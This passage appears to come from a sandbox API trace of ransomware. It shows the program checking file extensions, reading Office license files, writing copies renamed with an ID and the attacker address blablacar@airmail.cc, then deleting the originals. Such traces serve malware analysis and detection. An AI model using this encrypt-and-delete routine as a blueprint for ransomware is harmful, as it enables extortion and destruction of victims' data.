Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.775] lstrlenW (lpString=".doc") returned 4 [0194.775] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.775] lstrlenW (lpString=".docx") returned 5 [0194.775] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.775] lstrlenW (lpString=".pdf") returned 4 [0194.775] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.775] lstrlenW (lpString=".xls") returned 4 [0194.775] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.775] lstrlenW (lpString=".xlsx") returned 5 [0194.775] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.776] lstrlenW (lpString=".ppt") returned 4 [0194.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.776] lstrlenW (lpString=".zip") returned 4 [0194.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString=".rar") returned 4 [0194.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString=".bz2") returned 4 [0194.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString=".7z") returned 3 [0194.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.776] lstrlenW (lpString=".dbf") returned 4 [0194.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.776] lstrlenW (lpString=".1cd") returned 4 [0194.776] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.776] lstrlenW (lpString=".jpg") returned 4 [0194.776] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.776] lstrlenW (lpString=".doc") returned 4 [0194.776] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString=".docx") returned 5 [0194.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.776] lstrlenW (lpString=".pdf") returned 4 [0194.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.776] lstrlenW (lpString=".xls") returned 4 [0194.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.777] lstrlenW (lpString=".xlsx") returned 5 [0194.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.777] lstrlenW (lpString=".ppt") returned 4 [0194.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.777] lstrlenW (lpString=".zip") returned 4 [0194.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.777] lstrlenW (lpString=".rar") returned 4 [0194.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.777] lstrlenW (lpString=".bz2") returned 4 [0194.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.777] lstrlenW (lpString=".7z") returned 3 [0194.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.777] lstrlenW (lpString=".dbf") returned 4 [0194.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.777] lstrlenW (lpString=".1cd") returned 4 [0194.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0194.777] lstrlenW (lpString=".jpg") returned 4 [0194.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.777] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.777] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0194.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0194.778] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11674) returned 1 [0194.778] CloseHandle (hObject=0x500) returned 1 [0194.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0194.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0194.779] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.779] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0194.780] GetLastError () returned 0x0 [0194.780] ReadFile (in: hFile=0x500, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0194.782] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0194.783] ReadFile (in: hFile=0x500, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.783] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x130, lpOverlapped=0x0) returned 1 [0194.784] SetEndOfFile (hFile=0x534) returned 1 [0194.784] CloseHandle (hObject=0x534) returned 1 [0194.784] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.784] SetEndOfFile (hFile=0x500) returned 1 [0194.787] CloseHandle (hObject=0x500) returned 1 [0194.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0194.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.789] lstrlenW (lpString=".doc") returned 4 [0194.789] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.789] lstrlenW (lpString=".docx") returned 5 [0194.789] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.789] lstrlenW (lpString=".pdf") returned 4 [0194.789] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.789] lstrlenW (lpString=".xls") returned 4 [0194.789] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.789] lstrlenW (lpString=".xlsx") returned 5 [0194.789] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.789] lstrlenW (lpString=".ppt") returned 4 [0194.789] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.789] lstrlenW (lpString=".zip") returned 4 [0194.789] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.789] lstrlenW (lpString=".rar") returned 4 [0194.790] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.790] lstrlenW (lpString=".bz2") returned 4 [0194.790] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.790] lstrlenW (lpString=".7z") returned 3 [0194.790] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.790] lstrlenW (lpString=".dbf") returned 4 [0194.790] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.790] lstrlenW (lpString=".1cd") returned 4 [0194.790] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.790] lstrlenW (lpString=".jpg") returned 4 [0194.790] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.790] lstrlenW (lpString=".doc") returned 4 [0194.790] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.790] lstrlenW (lpString=".docx") returned 5 [0194.790] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.790] lstrlenW (lpString=".pdf") returned 4 [0194.791] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.791] lstrlenW (lpString=".xls") returned 4 [0194.791] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.791] lstrlenW (lpString=".xlsx") returned 5 [0194.791] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.791] lstrlenW (lpString=".ppt") returned 4 [0194.791] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.791] lstrlenW (lpString=".zip") returned 4 [0194.791] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.791] lstrlenW (lpString=".rar") returned 4 [0194.791] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.791] lstrlenW (lpString=".bz2") returned 4 [0194.791] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.791] lstrlenW (lpString=".7z") returned 3 [0194.791] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.791] lstrlenW (lpString=".dbf") returned 4 [0194.791] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.791] lstrlenW (lpString=".1cd") returned 4 [0194.791] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0194.792] lstrlenW (lpString=".jpg") returned 4 [0194.792] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.792] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.792] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34 [0194.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0194.793] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=21917) returned 1 [0194.793] CloseHandle (hObject=0x500) returned 1 [0194.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0194.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0194.794] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.794] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0194.795] GetLastError () returned 0x0 [0194.795] ReadFile (in: hFile=0x500, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x559d, lpOverlapped=0x0) returned 1 [0194.798] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0194.800] ReadFile (in: hFile=0x500, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.800] WriteFile (in: hFile=0x534, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x118, lpOverlapped=0x0) returned 1 [0194.800] SetEndOfFile (hFile=0x534) returned 1 [0194.800] CloseHandle (hObject=0x534) returned 1 [0194.800] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.800] SetEndOfFile (hFile=0x500) returned 1 [0194.846] CloseHandle (hObject=0x500) returned 1 [0194.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0195.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.001] lstrlenW (lpString=".doc") returned 4 [0195.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.001] lstrlenW (lpString=".docx") returned 5 [0195.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.001] lstrlenW (lpString=".pdf") returned 4 [0195.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.001] lstrlenW (lpString=".xls") returned 4 [0195.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.001] lstrlenW (lpString=".xlsx") returned 5 [0195.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.001] lstrlenW (lpString=".ppt") returned 4 [0195.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.002] lstrlenW (lpString=".zip") returned 4 [0195.002] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.002] lstrlenW (lpString=".rar") returned 4 [0195.002] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.002] lstrlenW (lpString=".bz2") returned 4 [0195.002] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.002] lstrlenW (lpString=".7z") returned 3 [0195.002] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.002] lstrlenW (lpString=".dbf") returned 4 [0195.002] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.002] lstrlenW (lpString=".1cd") returned 4 [0195.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.002] lstrlenW (lpString=".jpg") returned 4 [0195.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.002] lstrlenW (lpString=".doc") returned 4 [0195.002] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.002] lstrlenW (lpString=".docx") returned 5 [0195.002] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.002] lstrlenW (lpString=".pdf") returned 4 [0195.002] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString=".xls") returned 4 [0195.003] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString=".xlsx") returned 5 [0195.003] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.003] lstrlenW (lpString=".ppt") returned 4 [0195.003] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.003] lstrlenW (lpString=".zip") returned 4 [0195.003] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString=".rar") returned 4 [0195.003] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString=".bz2") returned 4 [0195.003] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString=".7z") returned 3 [0195.003] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.003] lstrlenW (lpString=".dbf") returned 4 [0195.003] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.003] lstrlenW (lpString=".1cd") returned 4 [0195.003] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0195.003] lstrlenW (lpString=".jpg") returned 4 [0195.003] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.003] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.003] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 36 [0195.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.188] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10679) returned 1 [0195.188] CloseHandle (hObject=0x544) returned 1 [0195.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0195.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.193] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.199] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.199] GetLastError () returned 0x0 [0195.199] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x29b7, lpOverlapped=0x0) returned 1 [0195.202] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x29c0, lpOverlapped=0x0) returned 1 [0195.203] ReadFile (in: hFile=0x544, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.203] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: 